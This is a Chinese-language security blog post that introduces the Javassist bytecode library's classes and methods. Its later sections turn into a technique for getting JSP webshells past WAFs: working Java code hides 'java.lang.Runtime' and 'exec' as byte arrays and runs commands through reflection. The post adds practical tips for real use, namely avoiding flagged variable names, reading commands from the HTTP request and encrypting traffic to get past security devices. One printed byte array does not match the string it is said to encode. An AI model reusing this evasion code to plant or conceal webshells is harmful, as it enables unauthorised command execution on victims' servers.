Java安全之Javassist動態程式設計

nice_0e3發表於2020-10-13

Java安全之Javassist動態程式設計

0x00 前言

在除錯CC2鏈前先來填補知識盲區,先來了解一下Javassist具體的作用。在CC2鏈會用到Javassist以及PriorityQueue來構造利用鏈

0x01 Javassist 介紹

Java 位元組碼以二進位制的形式儲存在 class 檔案中,每一個 class 檔案包含一個 Java 類或介面。Javaassist 就是一個用來處理 Java 位元組碼的類庫。

Javassist是一個開源的分析、編輯和建立Java位元組碼的類庫。

0x02 Javassist 使用

這裡主要講一下主要的幾個類:

ClassPool

ClassPool:一個基於雜湊表(Hashtable)實現的CtClass物件容器,其中鍵名是類名稱,值是表示該類的CtClass物件(HashtableHashmap類似都是實現map介面,hashmap可以接收null的值,但是Hashtable不行)。

常用方法:

static ClassPool	getDefault()
	返回預設的類池。
ClassPath	insertClassPath(java.lang.String pathname)	
	在搜尋路徑的開頭插入目錄或jar(或zip)檔案。
ClassPath	insertClassPath(ClassPath cp)	
	ClassPath在搜尋路徑的開頭插入一個物件。
java.lang.ClassLoader	getClassLoader()	
	獲取類載入器toClass(),getAnnotations()在 CtClass等
CtClass	get(java.lang.String classname)	
	從源中讀取類檔案,並返回對CtClass 表示該類檔案的物件的引用。
ClassPath	appendClassPath(ClassPath cp)	
	將ClassPath物件附加到搜尋路徑的末尾。
CtClass	makeClass(java.lang.String classname)
	建立一個新的public類

CtClass

CtClass表示類,一個CtClass(編譯時類)物件可以處理一個class檔案,這些CtClass物件可以從ClassPoold的一些方法獲得。

常用方法:

void	setSuperclass(CtClass clazz)
	更改超類,除非此物件表示介面。
java.lang.Class<?>	toClass(java.lang.invoke.MethodHandles.Lookup lookup)	
	將此類轉換為java.lang.Class物件。
byte[]	toBytecode()	
	將該類轉換為類檔案。
void	writeFile()	
	將由此CtClass 物件表示的類檔案寫入當前目錄。
void	writeFile(java.lang.String directoryName)	
	將由此CtClass 物件表示的類檔案寫入本地磁碟。
CtConstructor	makeClassInitializer()	
	製作一個空的類初始化程式(靜態建構函式)。

CtMethod

CtMethod:表示類中的方法。

CtConstructor

CtConstructor的例項表示一個建構函式。它可能代表一個靜態建構函式(類初始化器)。

常用方法

void	setBody(java.lang.String src)	
	設定建構函式主體。
void	setBody(CtConstructor src, ClassMap map)	
	從另一個建構函式複製一個建構函式主體。
CtMethod	toMethod(java.lang.String name, CtClass declaring)	
	複製此建構函式並將其轉換為方法。

ClassClassPath

該類作用是用於通過 getResourceAsStream() 在 java.lang.Class 中獲取類檔案的搜尋路徑。

構造方法:

ClassClassPath(java.lang.Class<?> c)	
	建立一個搜尋路徑。

常見方法:

java.net.URL	find (java.lang.String classname)	
	獲取指定類檔案的URL。
java.io.InputStream	openClassfile(java.lang.String classname)	
	通過獲取類文getResourceAsStream()。

程式碼例項:

ClassPool pool = ClassPool.getDefault();

在預設系統搜尋路徑獲取ClassPool物件。

如果需要修改類搜尋的路徑需要使用insertClassPath方法進行修改。

pool.insertClassPath(new ClassClassPath(this.getClass()));

將本類所在的路徑插入到搜尋路徑中

toBytecode

package com.demo;

import javassist.*;


import java.io.IOException;
import java.util.Arrays;

public class testssit {
    public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(demo.class.getClass()));
        CtClass ctClass = pool.get("com.demo.test");
        ctClass.setSuperclass(pool.get("com.demo.test"));
//        System.out.println(ctClass);
        byte[] bytes = ctClass.toBytecode();
        String s = Arrays.toString(bytes);
        System.out.println(s);
    }

}

toClass

Hello類:
public class Hello {
    public void say() {
        System.out.println("Hello");
    }
}
Test 類
public class Test {
    public static void main(String[] args) throws Exception {
        ClassPool cp = ClassPool.getDefault();//在預設系統搜尋路徑獲取ClassPool物件。
        CtClass cc = cp.get("com.demo.Hello");  //獲取hello類的
        CtMethod m = cc.getDeclaredMethod("say"); //獲取hello類的say方法
        m.insertBefore("{ System.out.println(\"Hello.say():\"); }");//在正文的開頭插入位元組碼
        Class c = cc.toClass();//將此類轉換為java.lang.Class物件
        Hello h = (Hello)c.newInstance(); //反射建立物件並進行強轉
        h.say();呼叫方法say
    }
}

0x03 一些小想法

按照我的理解來說就是可以去將類和位元組碼進行互相轉換。那麼按照這個思路來延申的話,我們可以做到什麼呢?我首先想到的可能就是webshell的一些免殺,例如說Jsp的最常見的一些webshell,都是採用RuntimeProcessBuilder這兩個類去進行構造,執行命令。按照WAF的慣性這些裝置肯定是把這些常見的執行命令函式給拉入黑名單裡面去。那麼如果說可以轉換成位元組碼的話呢?位元組碼肯定是不會被殺的。如果說這時候將Runtime這個類轉換成位元組碼,內嵌在Jsp中,後面再使用Javassist來將位元組碼還原成類的話,如果轉換的幾個方法沒被殺的話,是可以實現過WAF的。當然這些也只是我的一些臆想,因為Javassist並不是JDK中自帶的,實現的話後面可以再研究一下。但是類載入器肯定是可以去載入位元組碼,然後實現執行命令的。這裡只是拋磚引玉,更多的就不細說了。如果有更好的想法也可以提出來一起去交流。

0x04 想法實現

這裡可以來思考一個問題,該怎麼樣才能動態傳入引數去執行呢?那能想到的肯定是反射。如果我們用上面的思路,把全部程式碼都轉換成位元組碼的話,其實就沒有多大意義了。因為全是固定死的東西,他也只會執行並且得到同一個執行結果。

我在這裡能想到的就是將部分在程式碼裡面固定死的程式碼給轉換成位元組碼,然後再使用反射的方式去呼叫。

public class test {
    public static void main(String[] args) {
        String string ="java.lang.Runtime";
        byte[] bytes1 = string.getBytes();
        System.out.println(Arrays.toString(bytes1));
        


    }
}

獲取結果:

[106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 80, 114, 111, 99, 101, 115, 115, 73, 109, 112, 108]

現在已經是把結果給獲取到了,但是我們需要知道位元組碼怎麼樣還原為String型別。

在後面翻閱資料的時候,發現String的構造方法就直接能執行,來看看他的官方文件。

使用bytes去構造一個新的String

程式碼:

public class test {
    public static void main(String[] args) {
        byte[] bytes = new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101};
        String s = new String(bytes);
        System.out.println(s);
    }
}

public class test {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
        byte[] b1 = new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101};
        String run = new String(b1);
        String command = "ipconfig";


        Class aClass = Class.forName(run);
        Constructor declaredConstructor = aClass.getDeclaredConstructor();
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance();
        Method exec = aClass.getMethod("exec", String.class);
        Process process = (Process) exec.invoke(o,command);
        InputStream inputStream = process.getInputStream();    //獲取輸出的資料
        String ipconfig = IOUtils.toString(inputStream,"gbk"); //位元組輸出流轉換為字元
        System.out.println(ipconfig);



    }
}

命令執行成功。

那麼這就是一段完整的程式碼,但是還有些地方處理得不是很好,比如:

 Method exec = aClass.getMethod("exec", String.class);

這裡是反射獲取exec方法,這裡的exec是固定的。exec這個對於一些裝置來說也是嚴殺的。

那麼在這裡就可以來處理一下,也轉換成位元組碼。

轉換後的位元組碼:

[101, 120, 101, 99]

改進一下程式碼:

public class test {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
        String command = "ipconfig";
        byte[] b1 = new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101};
        String run = new String(b1);
        byte[] b2 = new byte[]{101, 120, 101, 99};
        String cm = new String(b2);
        


        Class aClass = Class.forName(run);
        Constructor declaredConstructor = aClass.getDeclaredConstructor();
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance();
        Method exec = aClass.getMethod(cm, String.class);
        Process process = (Process) exec.invoke(o,command);
        InputStream inputStream = process.getInputStream();    //獲取輸出的資料
        String ipconfig = IOUtils.toString(inputStream,"gbk"); //位元組輸出流轉換為字元
        System.out.println(ipconfig);

    }
}

實際中運用就別用啥ipconfigcommand這些來命名了,這些都是一些敏感詞。這裡只是為了方便理解。

在真實情況下應該是request.getInputStream()來獲取輸入的命令的。那麼這裡也還需要注意傳輸的時候進行加密,不然流量肯定也是過不了裝置的。

0x05 結尾

其實後面這些內容是跑偏題了,因為是後面突然才想到的這麼一個東西。所以將他給記錄下來。

相關文章